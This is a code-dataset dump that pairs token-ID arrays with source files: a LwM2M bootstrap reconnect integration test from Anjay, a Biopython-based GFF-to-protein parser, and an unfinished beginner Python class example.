1016,
29915,
29873,
3107,
482,
29889,
13,
1454,
17927,
297,
4832,
29889,
1524,
5975,
29898,
14480,
29954,
4214,
1839,
1188,
5743,
2033,
1125,
29871,
396,
694,
25621,
13,
1678,
17927,
1839,
3179,
9306,
2033,
353,
6024,
11058,
2033,
13,
29937,
4522,
1432,
3233,
29889,
13,
14480,
29954,
4214,
1839,
3179,
9306,
16215,
11058,
16215,
5563,
2033,
353,
12183,
29889,
12256,
10490,
29871,
396,
694,
25621,
13,
13,
29907,
24125,
29918,
1955,
6259,
1177,
29918,
1964,
27998,
29918,
9818,
353,
5852,
13,
13,
2202,
29901,
13,
1678,
515,
869,
2997,
1053,
334,
29871,
396,
694,
25621,
13,
19499,
16032,
2392,
29901,
13,
1678,
1209,
13,
2
] |
tests/integration/suites/sensitive/update.py | bularcasergiu/Anjay | 0 | 27860 | # -*- coding: utf-8 -*-
#
# Copyright 2017-2020 AVSystem <<EMAIL>>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import socket
from framework.lwm2m.coap.server import SecurityMode
from framework.lwm2m_test import *
from framework import test_suite
class ReconnectBootstrapTest(test_suite.Lwm2mSingleServerTest):
def setUp(self):
self.setup_demo_with_servers(servers=0, bootstrap_server=True)
def runTest(self):
self.bootstrap_server.set_timeout(timeout_s=1)
pkt = self.bootstrap_server.recv()
self.assertMsgEqual(Lwm2mRequestBootstrap(endpoint_name=DEMO_ENDPOINT_NAME),
pkt)
self.bootstrap_server.send(Lwm2mChanged.matching(pkt)())
original_remote_addr = self.bootstrap_server.get_remote_addr()
# reconnect
self.communicate('reconnect')
self.bootstrap_server.reset()
pkt = self.bootstrap_server.recv()
# should retain remote port after reconnecting
self.assertEqual(original_remote_addr,
self.bootstrap_server.get_remote_addr())
self.assertMsgEqual(Lwm2mRequestBootstrap(endpoint_name=DEMO_ENDPOINT_NAME),
pkt)
self.bootstrap_server.send(Lwm2mChanged.matching(pkt)())
demo_port = self.get_demo_port()
self.assertEqual(self.bootstrap_server.get_remote_addr()[1], demo_port)
# send Bootstrap Finish
req = Lwm2mBootstrapFinish()
self.bootstrap_server.send(req)
self.assertMsgEqual(Lwm2mChanged.matching(req)(),
self.bootstrap_server.recv())
# reconnect once again
self.communicate('reconnect')
# now there should be no Bootstrap Request
with self.assertRaises(socket.timeout):
print(self.bootstrap_server.recv(timeout_s=3))
# should retain remote port after reconnecting
new_demo_port = self.get_demo_port()
self.assertEqual(demo_port, new_demo_port)
self.bootstrap_server.connect_to_client(('127.0.0.1', new_demo_port))
# DELETE /33605, essentially a no-op to check connectivity
req = Lwm2mDelete(Lwm2mPath('/%d' % (OID.Test,)))
self.bootstrap_server.send(req)
self.assertMsgEqual(Lwm2mDeleted.matching(req)(),
self.bootstrap_server.recv())
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29955,
29899,
29906,
29900,
29906,
29900,
16884,
3924,
3532,
26862,
6227,
6778,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
268,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
13,
5215,
2897,
13,
5215,
9909,
13,
13,
3166,
6890,
29889,
29880,
29893,
29885,
29906,
29885,
29889,
1111,
481,
29889,
2974,
1053,
14223,
6818,
13,
3166,
6890,
29889,
29880,
29893,
29885,
29906,
29885,
29918,
1688,
1053,
334,
13,
3166,
6890,
1053,
1243,
29918,
13495,
13,
13,
13,
1990,
830,
6915,
20967,
5698,
3057,
29898,
1688,
29918,
13495,
29889,
29931,
29893,
29885,
29906,
29885,
15771,
6004,
3057,
1125,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1583,
29889,
14669,
29918,
17482,
29918,
2541,
29918,
643,
874,
29898,
643,
874,
29922,
29900,
29892,
16087,
29918,
2974,
29922,
5574,
29897,
13,
13,
1678,
822,
1065,
3057,
29898,
1311,
1125,
13,
4706,
1583,
29889,
8704,
29918,
2974,
29889,
842,
29918,
15619,
29898,
15619,
29918,
29879,
29922,
29896,
29897,
13,
4706,
282,
1193,
353,
1583,
29889,
8704,
29918,
2974,
29889,
3757,
29894,
580,
13,
4706,
1583,
29889,
9294,
16190,
9843,
29898,
29931,
29893,
29885,
29906,
29885,
3089,
20967,
5698,
29898,
29734,
29918,
978,
29922,
2287,
6720,
29918,
1430,
11191,
6992,
29911,
29918,
5813,
511,
13,
462,
9651,
282,
1193,
29897,
13,
4706,
1583,
29889,
8704,
29918,
2974,
29889,
6717,
29898,
29931,
29893,
29885,
29906,
29885,
7590,
29889,
4352,
292,
29898,
29886,
1193,
29897,
3101,
13,
13,
4706,
2441,
29918,
16674,
29918,
10030,
353,
1583,
29889,
8704,
29918,
2974,
29889,
657,
29918,
16674,
29918,
10030,
580,
13,
13,
4706,
396,
337,
6915,
13,
4706,
1583,
29889,
27820,
403,
877,
276,
6915,
1495,
13,
4706,
1583,
29889,
8704,
29918,
2974,
29889,
12071,
580,
13,
4706,
282,
1193,
353,
1583,
29889,
8704,
29918,
2974,
29889,
3757,
29894,
580,
13,
13,
4706,
396,
881,
11551,
7592,
2011,
1156,
337,
6915,
292,
13,
4706,
1583,
29889,
9294,
9843,
29898,
13492,
29918,
16674,
29918,
10030,
29892,
13,
462,
308,
1583,
29889,
8704,
29918,
2974,
29889,
657,
29918,
16674,
29918,
10030,
3101,
13,
4706,
1583,
29889,
9294,
16190,
9843,
29898,
29931,
29893,
29885,
29906,
29885,
3089,
20967,
5698,
29898,
29734,
29918,
978,
29922,
2287,
6720,
29918,
1430,
11191,
6992,
29911,
29918,
5813,
511,
13,
462,
9651,
282,
1193,
29897,
13,
13,
4706,
1583,
29889,
8704,
29918,
2974,
29889,
6717,
29898,
29931,
29893,
29885,
29906,
29885,
7590,
29889,
4352,
292,
29898,
29886,
1193,
29897,
3101,
13,
13,
4706,
13455,
29918,
637,
353,
1583,
29889,
657,
29918,
17482,
29918,
637,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1311,
29889,
8704,
29918,
2974,
29889,
657,
29918,
16674,
29918,
10030,
580,
29961,
29896,
1402,
13455,
29918,
637,
29897,
13,
13,
4706,
396,
3638,
25746,
4231,
728,
13,
4706,
12428,
353,
365,
29893,
29885,
29906,
29885,
20967,
5698,
12881,
728,
580,
13,
4706,
1583,
29889,
8704,
29918,
2974,
29889,
6717,
29898,
7971,
29897,
13,
4706,
1583,
29889,
9294,
16190,
9843,
29898,
29931,
29893,
29885,
29906,
29885,
7590,
29889,
4352,
292,
29898,
7971,
29897,
3285,
13,
462,
9651,
1583,
29889,
8704,
29918,
2974,
29889,
3757,
29894,
3101,
13,
13,
4706,
396,
337,
6915,
2748,
1449,
13,
4706,
1583,
29889,
27820,
403,
877,
276,
6915,
1495,
13,
13,
4706,
396,
1286,
727,
881,
367,
694,
25746,
10729,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
11514,
29889,
15619,
1125,
13,
9651,
1596,
29898,
1311,
29889,
8704,
29918,
2974,
29889,
3757,
29894,
29898,
15619,
29918,
29879,
29922,
29941,
876,
13,
13,
4706,
396,
881,
11551,
7592,
2011,
1156,
337,
6915,
292,
13,
4706,
716,
29918,
17482,
29918,
637,
353,
1583,
29889,
657,
29918,
17482,
29918,
637,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
17482,
29918,
637,
29892,
716,
29918,
17482,
29918,
637,
29897,
13,
13,
4706,
1583,
29889,
8704,
29918,
2974,
29889,
6915,
29918,
517,
29918,
4645,
29898,
877,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
742,
716,
29918,
17482,
29918,
637,
876,
13,
13,
4706,
396,
5012,
18476,
847,
29941,
29941,
29953,
29900,
29945,
29892,
13674,
263,
694,
29899,
459,
304,
1423,
4511,
2068,
13,
4706,
12428,
353,
365,
29893,
29885,
29906,
29885,
12498,
29898,
29931,
29893,
29885,
29906,
29885,
2605,
11219,
29995,
29881,
29915,
1273,
313,
29949,
1367,
29889,
3057,
29892,
4961,
13,
4706,
1583,
29889,
8704,
29918,
2974,
29889,
6717,
29898,
7971,
29897,
13,
4706,
1583,
29889,
9294,
16190,
9843,
29898,
29931,
29893,
29885,
29906,
29885,
2772,
22742,
29889,
4352,
292,
29898,
7971,
29897,
3285,
13,
462,
9651,
1583,
29889,
8704,
29918,
2974,
29889,
3757,
29894,
3101,
13,
2
] |
code/BacDup/scripts/gff_parser.py | JFsanchezherrero/TFM_UOC_AMoya | 2 | 12321 | <reponame>JFsanchezherrero/TFM_UOC_AMoya
#!/usr/bin/env python3
##############################################################
## <NAME> & <NAME> ##
## Copyright (C) 2020-2021 ##
##############################################################
'''
Created on 28 oct. 2020
@author: alba
Modified in March 2021
@author: <NAME>
'''
## useful imports
import sys
import os
import pandas as pd
import numpy as np
import HCGB
from Bio import SeqIO, Seq
from Bio.SeqRecord import SeqRecord
from BCBio import GFF
from BacDup.scripts.functions import columns_annot_table
##################################################
def gff_parser_caller(gff_file, ref_file, output_path, debug):
'''This function calls the actual gff parser
It serves as the entry point either from a module or system call
'''
## set output paths
prot_file = os.path.abspath( os.path.join(output_path, 'proteins.fa'))
csv_file = os.path.abspath( os.path.join(output_path, 'annot_df.csv'))
csv_length = os.path.abspath( os.path.join(output_path, 'length_df.csv'))
list_out_files = [prot_file, csv_file, csv_length]
try:
with open (ref_file) as in_handle:
ref_recs = SeqIO.to_dict(SeqIO.parse(in_handle, "fasta"))
## debug messages
if (debug):
debug_message('GenBank record', 'yellow')
print (ref_recs)
## parse
with open(prot_file, "w") as out_handle:
SeqIO.write(protein_recs(gff_file, ref_recs,
list_out_files, debug=debug), out_handle, "fasta")
## return information
return (list_out_files)
except:
return (False)
############################################################
def protein_recs(gff_file, ref_recs, list_out_files, debug=False):
'''GFF parser to retrieve proteins and annotation
'''
#create an empty dataframe.
columns = columns_annot_table() ## get common column names
annot_df = pd.DataFrame(data=None, columns=columns)
genome_length = pd.DataFrame(data=None, columns=["length"])
with open(gff_file) as in_handle:
##parse the output. Generate SeqRecord and SeqFeatures for predictions
##sort by CDS type. Duplicate genes analysis just needs coding regions to proteins.
limit_info = dict(gff_type=["CDS"])
for rec in GFF.parse(in_handle, limit_info = limit_info, base_dict=ref_recs):
#get genome length for BioCircos plotting
ID = rec.id
genome_length.loc[ID,["length"]]=[len(rec.seq)]
## debug messages
if (debug):
debug_message('GFF record', 'yellow')
print(rec)
for feature in rec.features:
## Debug messages
if (debug):
debug_message('feature: ', 'yellow')
print(feature)
## strand
if feature.strand == -1:
strand = "neg"
else:
strand = "pos"
#we create an ID for each entry
protID = feature.type + "_" + rec.id + "_" + str(feature.location.nofuzzy_start) + "_" + str(feature.location.nofuzzy_end) + "_" + strand
annot_df.loc[protID, ["rec_id", "type", "start", "end", "strand"]] = [ID, feature.type, feature.location.nofuzzy_start, feature.location.nofuzzy_end, strand]
qualif = feature.qualifiers
## Debug messages
if (debug):
debug_message('protID: ' + protID, 'yellow')
debug_message('qualif: ', 'yellow')
print (qualif)
## loop
for keys, values in qualif.items():
#fill the dataframe info
if keys == "Note":
continue
annot_df.loc[protID,[keys]] = [values[0]]
## get gene sequence
gene_seq = Seq.Seq(str(rec.seq[feature.location.nofuzzy_start:feature.location.nofuzzy_end]))
## Debug messages
if (debug):
debug_message('gene_seq: ' + protID, 'yellow')
print (gene_seq)
if feature.type == "CDS":
if feature.strand == -1:
gene_seq = gene_seq.reverse_complement()
# translate genome sequence
table_code = feature.qualifiers["transl_table"][0]
protein_seq = gene_seq.translate(table=table_code, to_stop=False)
# delete STOP symbols
# we set gene_seq.translate to include all stop codons to include
# stop codons in pseudogenes. then, we removed last symbol * for
# each sequence
if protein_seq.endswith("*"):
protein_seq = protein_seq[:-1]
yield(SeqRecord(protein_seq, protID, "", ""))
## print additional information
annot_df.to_csv(list_out_files[1], header=True)
genome_length.to_csv(list_out_files[2], header=True)
#get genome length for BioCircos plotting
#genome_length = pd.DataFrame(data=None, columns=["length"])
#ID = rec.id
#length = len(rec.seq)
#genome_length.loc[ID,["length"]]=[length]
#csv_length = "%s/%s_length.csv" % (output_path, rec.id)
#genome_length.to_csv(csv_length, header=True)
## debug messages
if (debug):
debug_message('annot_df: ', 'yellow')
print(annot_df)
## empty return
return()
#################################################################
def main (gff_file, ref_file, output_folder, debug=False):
#get name
base, ext = os.path.splitext(gff_file)
gff_file = os.path.abspath(gff_file)
#create folder
output_path = HCGB.functions.file_functions.create_folder(output_path)
if (debug):
print ("## DEBUG:")
print ("base:" , base)
print ("ext:" , ext)
print ()
gff_parser_caller(gff_file, ref_file, output_path, debug)
################################################################################
if __name__ == "__main__":
if len(sys.argv) != 4:
print (__doc__)
print ("## Usage gff_parser")
print ("python %s gff_file ref_fasta_file output_folder\n" %sys.argv[0])
sys.exit()
main(*sys.argv[1:], debug=True)
#main(*sys.argv[1:])
# la variable debug no es obligatoria. tiene un "por defecto definido"
# Se utiliza el "=" para indicar el default.
| [
1,
529,
276,
1112,
420,
29958,
29967,
29943,
29879,
20372,
29920,
2276,
8567,
29914,
8969,
29924,
29918,
29965,
20166,
29918,
5194,
29877,
3761,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
13383,
13383,
13383,
7346,
4136,
2277,
13,
2277,
529,
5813,
29958,
669,
529,
5813,
29958,
462,
795,
444,
13,
2277,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29906,
29900,
29899,
29906,
29900,
29906,
29896,
462,
462,
29871,
444,
13,
13383,
13383,
13383,
7346,
4136,
2277,
13,
12008,
13,
20399,
373,
29871,
29906,
29947,
4725,
29889,
29871,
29906,
29900,
29906,
29900,
13,
29992,
8921,
29901,
394,
2291,
13,
13,
2111,
2164,
297,
4779,
29871,
29906,
29900,
29906,
29896,
13,
29992,
8921,
29901,
529,
5813,
29958,
13,
12008,
13,
13,
2277,
5407,
24802,
13,
5215,
10876,
13,
5215,
2897,
13,
5215,
11701,
408,
10518,
13,
5215,
12655,
408,
7442,
13,
5215,
379,
29907,
7210,
13,
13,
3166,
21184,
1053,
25981,
5971,
29892,
25981,
13,
3166,
21184,
29889,
23718,
9182,
1053,
25981,
9182,
13,
3166,
17403,
29933,
601,
1053,
402,
4198,
13,
3166,
29070,
29928,
786,
29889,
16713,
29889,
12171,
1053,
4341,
29918,
6735,
29918,
2371,
13,
13,
1678,
13,
13383,
13383,
13383,
2277,
13,
1753,
330,
600,
29918,
16680,
29918,
4804,
261,
29898,
29887,
600,
29918,
1445,
29892,
2143,
29918,
1445,
29892,
1962,
29918,
2084,
29892,
4744,
1125,
13,
1678,
14550,
4013,
740,
5717,
278,
3935,
330,
600,
13812,
13,
268,
13,
1678,
739,
19700,
408,
278,
6251,
1298,
2845,
515,
263,
3883,
470,
1788,
1246,
13,
1678,
14550,
13,
268,
13,
1678,
444,
731,
1962,
10898,
13,
1678,
17512,
29918,
1445,
353,
2897,
29889,
2084,
29889,
370,
1028,
493,
29898,
2897,
29889,
2084,
29889,
7122,
29898,
4905,
29918,
2084,
29892,
525,
14676,
1144,
29889,
5444,
8785,
13,
1678,
11799,
29918,
1445,
353,
2897,
29889,
2084,
29889,
370,
1028,
493,
29898,
2897,
29889,
2084,
29889,
7122,
29898,
4905,
29918,
2084,
29892,
525,
6735,
29918,
2176,
29889,
7638,
8785,
13,
1678,
11799,
29918,
2848,
353,
2897,
29889,
2084,
29889,
370,
1028,
493,
29898,
2897,
29889,
2084,
29889,
7122,
29898,
4905,
29918,
2084,
29892,
525,
2848,
29918,
2176,
29889,
7638,
8785,
13,
1678,
1051,
29918,
449,
29918,
5325,
353,
518,
771,
29873,
29918,
1445,
29892,
11799,
29918,
1445,
29892,
11799,
29918,
2848,
29962,
13,
268,
13,
1678,
1018,
29901,
13,
4706,
411,
1722,
313,
999,
29918,
1445,
29897,
408,
297,
29918,
8411,
29901,
13,
9651,
2143,
29918,
276,
2395,
353,
25981,
5971,
29889,
517,
29918,
8977,
29898,
23718,
5971,
29889,
5510,
29898,
262,
29918,
8411,
29892,
376,
29888,
5427,
5783,
13,
308,
13,
4706,
444,
4744,
7191,
418,
13,
4706,
565,
313,
8382,
1125,
13,
9651,
4744,
29918,
4906,
877,
15462,
29933,
804,
2407,
742,
525,
29136,
1495,
13,
9651,
1596,
313,
999,
29918,
276,
2395,
29897,
13,
268,
13,
4706,
444,
6088,
13,
4706,
411,
1722,
29898,
771,
29873,
29918,
1445,
29892,
376,
29893,
1159,
408,
714,
29918,
8411,
29901,
13,
9651,
25981,
5971,
29889,
3539,
29898,
14676,
262,
29918,
276,
2395,
29898,
29887,
600,
29918,
1445,
29892,
2143,
29918,
276,
2395,
29892,
29871,
13,
462,
462,
268,
1051,
29918,
449,
29918,
5325,
29892,
4744,
29922,
8382,
511,
714,
29918,
8411,
29892,
376,
29888,
5427,
1159,
13,
308,
13,
4706,
444,
736,
2472,
13,
4706,
736,
313,
1761,
29918,
449,
29918,
5325,
29897,
13,
13,
1678,
5174,
29901,
13,
4706,
736,
313,
8824,
29897,
13,
13,
13383,
13383,
13383,
7346,
4136,
4706,
13,
1753,
26823,
29918,
276,
2395,
29898,
29887,
600,
29918,
1445,
29892,
2143,
29918,
276,
2395,
29892,
1051,
29918,
449,
29918,
5325,
29892,
4744,
29922,
8824,
1125,
13,
1678,
14550,
29954,
4198,
13812,
304,
10563,
3279,
1144,
322,
17195,
13,
1678,
14550,
13,
268,
13,
1678,
396,
3258,
385,
4069,
12205,
29889,
29871,
13,
1678,
4341,
353,
4341,
29918,
6735,
29918,
2371,
580,
1678,
444,
679,
3619,
1897,
2983,
13,
1678,
9732,
29918,
2176,
353,
10518,
29889,
17271,
29898,
1272,
29922,
8516,
29892,
4341,
29922,
13099,
29897,
13,
1678,
2531,
608,
29918,
2848,
353,
10518,
29889,
17271,
29898,
1272,
29922,
8516,
29892,
4341,
29922,
3366,
2848,
20068,
13,
268,
13,
1678,
411,
1722,
29898,
29887,
600,
29918,
1445,
29897,
408,
297,
29918,
8411,
29901,
13,
4706,
444,
5510,
278,
1962,
29889,
3251,
403,
25981,
9182,
322,
25981,
8263,
3698,
363,
27303,
13,
4706,
444,
6605,
491,
7307,
29903,
1134,
29889,
18733,
5926,
2531,
267,
7418,
925,
4225,
14137,
12786,
304,
3279,
1144,
29889,
13,
4706,
4046,
29918,
3888,
353,
9657,
29898,
29887,
600,
29918,
1853,
29922,
3366,
6530,
29903,
20068,
268,
13,
4706,
363,
1162,
297,
402,
4198,
29889,
5510,
29898,
262,
29918,
8411,
29892,
4046,
29918,
3888,
353,
4046,
29918,
3888,
29892,
2967,
29918,
8977,
29922,
999,
29918,
276,
2395,
1125,
13,
9651,
396,
657,
2531,
608,
3309,
363,
21184,
23495,
359,
6492,
1259,
259,
13,
9651,
3553,
353,
1162,
29889,
333,
13,
9651,
2531,
608,
29918,
2848,
29889,
2029,
29961,
1367,
29892,
3366,
2848,
3108,
29962,
11759,
2435,
29898,
3757,
29889,
11762,
4638,
13,
268,
13,
9651,
444,
4744,
7191,
418,
13,
9651,
565,
313,
8382,
1125,
13,
18884,
4744,
29918,
4906,
877,
29954,
4198,
2407,
742,
525,
29136,
1495,
13,
18884,
1596,
29898,
3757,
29897,
13,
9651,
13,
9651,
363,
4682,
297,
1162,
29889,
22100,
29901,
13,
18884,
444,
16171,
7191,
18884,
13,
18884,
565,
313,
8382,
1125,
13,
462,
1678,
4744,
29918,
4906,
877,
14394,
29901,
13420,
525,
29136,
1495,
13,
462,
1678,
1596,
29898,
14394,
29897,
13,
13,
18884,
444,
851,
392,
13,
18884,
565,
4682,
29889,
710,
392,
1275,
448,
29896,
29901,
13,
462,
1678,
851,
392,
353,
376,
10052,
29908,
13,
18884,
1683,
29901,
1678,
13,
462,
1678,
851,
392,
353,
376,
1066,
29908,
13,
462,
268,
13,
18884,
396,
705,
1653,
385,
3553,
363,
1269,
6251,
418,
13,
18884,
17512,
1367,
353,
4682,
29889,
1853,
718,
11119,
29908,
718,
1162,
29889,
333,
718,
11119,
29908,
718,
851,
29898,
14394,
29889,
5479,
29889,
3998,
3365,
1537,
29918,
2962,
29897,
718,
11119,
29908,
718,
851,
29898,
14394,
29889,
5479,
29889,
3998,
3365,
1537,
29918,
355,
29897,
718,
11119,
29908,
718,
851,
392,
13,
18884,
9732,
29918,
2176,
29889,
2029,
29961,
771,
29873,
1367,
29892,
6796,
3757,
29918,
333,
613,
376,
1853,
613,
376,
2962,
613,
376,
355,
613,
376,
710,
392,
3108,
29962,
353,
518,
1367,
29892,
4682,
29889,
1853,
29892,
4682,
29889,
5479,
29889,
3998,
3365,
1537,
29918,
2962,
29892,
4682,
29889,
5479,
29889,
3998,
3365,
1537,
29918,
355,
29892,
851,
392,
29962,
13,
18884,
4021,
361,
353,
4682,
29889,
15380,
14903,
13,
18884,
444,
16171,
7191,
18884,
13,
18884,
565,
313,
8382,
1125,
13,
462,
1678,
4744,
29918,
4906,
877,
771,
29873,
1367,
29901,
525,
718,
17512,
1367,
29892,
525,
29136,
1495,
13,
462,
1678,
4744,
29918,
4906,
877,
15380,
361,
29901,
13420,
525,
29136,
1495,
13,
462,
1678,
1596,
313,
15380,
361,
29897,
13,
13,
18884,
444,
2425,
13,
18884,
363,
6611,
29892,
1819,
297,
4021,
361,
29889,
7076,
7295,
13,
462,
1678,
396,
5589,
278,
12205,
5235,
13,
462,
1678,
565,
6611,
1275,
376,
9842,
1115,
13,
462,
4706,
6773,
13,
462,
1678,
9732,
29918,
2176,
29889,
2029,
29961,
771,
29873,
1367,
17094,
8149,
5262,
353,
518,
5975,
29961,
29900,
5262,
13,
462,
268,
13,
18884,
444,
679,
18530,
5665,
13,
18884,
18530,
29918,
11762,
353,
25981,
29889,
23718,
29898,
710,
29898,
3757,
29889,
11762,
29961,
14394,
29889,
5479,
29889,
3998,
3365,
1537,
29918,
2962,
29901,
14394,
29889,
5479,
29889,
3998,
3365,
1537,
29918,
355,
12622,
13,
13,
18884,
444,
16171,
7191,
18884,
13,
18884,
565,
313,
8382,
1125,
13,
462,
1678,
4744,
29918,
4906,
877,
29887,
1600,
29918,
11762,
29901,
525,
718,
17512,
1367,
29892,
525,
29136,
1495,
13,
462,
1678,
1596,
313,
29887,
1600,
29918,
11762,
29897,
13,
13,
18884,
565,
4682,
29889,
1853,
1275,
376,
6530,
29903,
1115,
13,
462,
1678,
565,
4682,
29889,
710,
392,
1275,
448,
29896,
29901,
13,
462,
4706,
18530,
29918,
11762,
353,
18530,
29918,
11762,
29889,
24244,
29918,
510,
2037,
580,
13,
462,
268,
13,
462,
1678,
396,
14240,
2531,
608,
5665,
13,
462,
1678,
1591,
29918,
401,
353,
4682,
29889,
15380,
14903,
3366,
3286,
29880,
29918,
2371,
3108,
29961,
29900,
29962,
13,
462,
1678,
26823,
29918,
11762,
353,
18530,
29918,
11762,
29889,
21652,
29898,
2371,
29922,
2371,
29918,
401,
29892,
304,
29918,
9847,
29922,
8824,
29897,
13,
462,
268,
13,
462,
1678,
396,
5217,
6850,
4590,
15072,
13,
462,
1678,
396,
591,
731,
18530,
29918,
11762,
29889,
21652,
304,
3160,
599,
5040,
15234,
787,
304,
3160,
13,
462,
1678,
396,
5040,
15234,
787,
297,
19923,
6352,
267,
29889,
769,
29892,
591,
6206,
1833,
5829,
334,
363,
13,
462,
1678,
396,
1269,
5665,
13,
462,
268,
13,
462,
1678,
565,
26823,
29918,
11762,
29889,
1975,
2541,
703,
20605,
1125,
13,
462,
4706,
26823,
29918,
11762,
353,
26823,
29918,
11762,
7503,
29899,
29896,
29962,
13,
462,
268,
13,
462,
1678,
7709,
29898,
23718,
9182,
29898,
14676,
262,
29918,
11762,
29892,
17512,
1367,
29892,
12633,
5124,
876,
13,
13,
1678,
444,
1596,
5684,
2472,
13,
1678,
9732,
29918,
2176,
29889,
517,
29918,
7638,
29898,
1761,
29918,
449,
29918,
5325,
29961,
29896,
1402,
4839,
29922,
5574,
29897,
13,
1678,
2531,
608,
29918,
2848,
29889,
517,
29918,
7638,
29898,
1761,
29918,
449,
29918,
5325,
29961,
29906,
1402,
4839,
29922,
5574,
29897,
13,
268,
13,
1678,
396,
657,
2531,
608,
3309,
363,
21184,
23495,
359,
6492,
1259,
259,
13,
1678,
396,
1885,
608,
29918,
2848,
353,
10518,
29889,
17271,
29898,
1272,
29922,
8516,
29892,
4341,
29922,
3366,
2848,
20068,
13,
1678,
396,
1367,
353,
1162,
29889,
333,
13,
1678,
396,
2848,
353,
7431,
29898,
3757,
29889,
11762,
29897,
13,
1678,
396,
1885,
608,
29918,
2848,
29889,
2029,
29961,
1367,
29892,
3366,
2848,
3108,
29962,
11759,
2848,
29962,
13,
1678,
396,
7638,
29918,
2848,
353,
11860,
29879,
22584,
29879,
29918,
2848,
29889,
7638,
29908,
1273,
313,
4905,
29918,
2084,
29892,
1162,
29889,
333,
29897,
632,
13,
1678,
396,
1885,
608,
29918,
2848,
29889,
517,
29918,
7638,
29898,
7638,
29918,
2848,
29892,
4839,
29922,
5574,
29897,
13,
268,
13,
1678,
444,
4744,
7191,
13,
1678,
565,
313,
8382,
1125,
13,
4706,
4744,
29918,
4906,
877,
6735,
29918,
2176,
29901,
13420,
525,
29136,
1495,
13,
4706,
1596,
29898,
6735,
29918,
2176,
29897,
13,
268,
13,
1678,
444,
4069,
736,
13,
1678,
736,
580,
13,
13,
13,
13383,
13383,
13383,
13383,
29937,
13,
1753,
1667,
313,
29887,
600,
29918,
1445,
29892,
2143,
29918,
1445,
29892,
1962,
29918,
12083,
29892,
4744,
29922,
8824,
1125,
13,
1678,
396,
657,
1024,
13,
1678,
2967,
29892,
1294,
353,
2897,
29889,
2084,
29889,
23579,
568,
486,
29898,
29887,
600,
29918,
1445,
29897,
13,
1678,
330,
600,
29918,
1445,
353,
2897,
29889,
2084,
29889,
370,
1028,
493,
29898,
29887,
600,
29918,
1445,
29897,
13,
268,
13,
1678,
396,
3258,
4138,
13,
1678,
1962,
29918,
2084,
353,
379,
29907,
7210,
29889,
12171,
29889,
1445,
29918,
12171,
29889,
3258,
29918,
12083,
29898,
4905,
29918,
2084,
29897,
13,
268,
13,
1678,
565,
313,
8382,
1125,
13,
4706,
1596,
4852,
2277,
21681,
29901,
1159,
13,
4706,
1596,
4852,
3188,
6160,
1919,
2967,
29897,
13,
4706,
1596,
4852,
1062,
6160,
1919,
1294,
29897,
13,
4706,
1596,
3861,
13,
308,
13,
1678,
330,
600,
29918,
16680,
29918,
4804,
261,
29898,
29887,
600,
29918,
1445,
29892,
2143,
29918,
1445,
29892,
1962,
29918,
2084,
29892,
4744,
29897,
13,
268,
13,
13,
13383,
13383,
13383,
13383,
13383,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
565,
7431,
29898,
9675,
29889,
19218,
29897,
2804,
29871,
29946,
29901,
13,
4706,
1596,
313,
1649,
1514,
1649,
29897,
13,
308,
13,
4706,
1596,
4852,
2277,
10783,
482,
330,
600,
29918,
16680,
1159,
13,
4706,
1596,
4852,
4691,
1273,
29879,
330,
600,
29918,
1445,
2143,
29918,
29888,
5427,
29918,
1445,
1962,
29918,
12083,
29905,
29876,
29908,
1273,
9675,
29889,
19218,
29961,
29900,
2314,
13,
13,
4706,
10876,
29889,
13322,
580,
13,
13,
1678,
1667,
10456,
9675,
29889,
19218,
29961,
29896,
29901,
1402,
4744,
29922,
5574,
29897,
13,
1678,
396,
3396,
10456,
9675,
29889,
19218,
29961,
29896,
29901,
2314,
13,
13,
1678,
396,
425,
2286,
4744,
694,
831,
10788,
1061,
423,
29889,
10258,
443,
376,
1971,
23503,
29877,
7403,
1941,
29908,
13,
1678,
396,
922,
3667,
6619,
560,
376,
543,
1702,
4221,
279,
560,
2322,
29889,
13,
308,
13,
308,
13,
308,
13,
2
] |
pythonG/objects.py | ezan2000/Cssi_2018 | 0 | 9461 | ezan = {
'name': 'ezan',
'age': 18,
'hair': 'brown',
'cool': True ,
}
print(ezan)
class Person(object): #use class to make object
def __init__(
self, name, age ,hair, color, hungry) : #initialize
#first object inside of a class is self
self.name = 'ezan'
self.age = 18
self.hair = 'brown'
self.cool = True
def eat(self,food):
print("EAT {f}".format(f = food))
self.hungry = food
def play(self, game):
print("Play {p}".format(p = game))
self.play = game
def birth(self,person):
